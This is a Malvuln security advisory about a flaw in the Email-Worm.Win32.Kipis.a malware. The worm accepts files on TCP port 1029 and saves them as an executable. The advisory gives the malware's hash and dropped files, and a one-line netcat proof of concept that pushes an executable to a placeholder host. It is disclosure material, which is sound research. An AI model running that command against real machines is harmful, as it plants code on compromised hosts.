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Email-Worm.Win32.Kipis.a / Unauthenticated Remote Code Execution


From: malvuln <malvuln13 () gmail com>
Date: Wed, 16 Jun 2021 18:33:42 -0400

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/aa703bc17e3177d3b24a57c5d2a91a0c.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Email-Worm.Win32.Kipis.a
Vulnerability: Unauthenticated Remote Code Execution
Description: The malware listens on TCP port 1029 and writes incoming
packets to an executable file that is renamed as "winlogins.exe".
Third-party attackers who can reach the infected host can use socket utils
like netcat to transfer files which get stored in the Windows\SysWOW64 dir,
this may result in remote code execution.
Type: PE32
MD5: aa703bc17e3177d3b24a57c5d2a91a0c
Vuln ID: MVID-2021-0250
Dropped files: svchost.exe, Jpg.bmp, winlogins.exe
Disclosure: 06/16/2021


Exploit/PoC:
nc64.exe -c   x.x.x.x  1029  < DOOM.exe
++ Ok ++


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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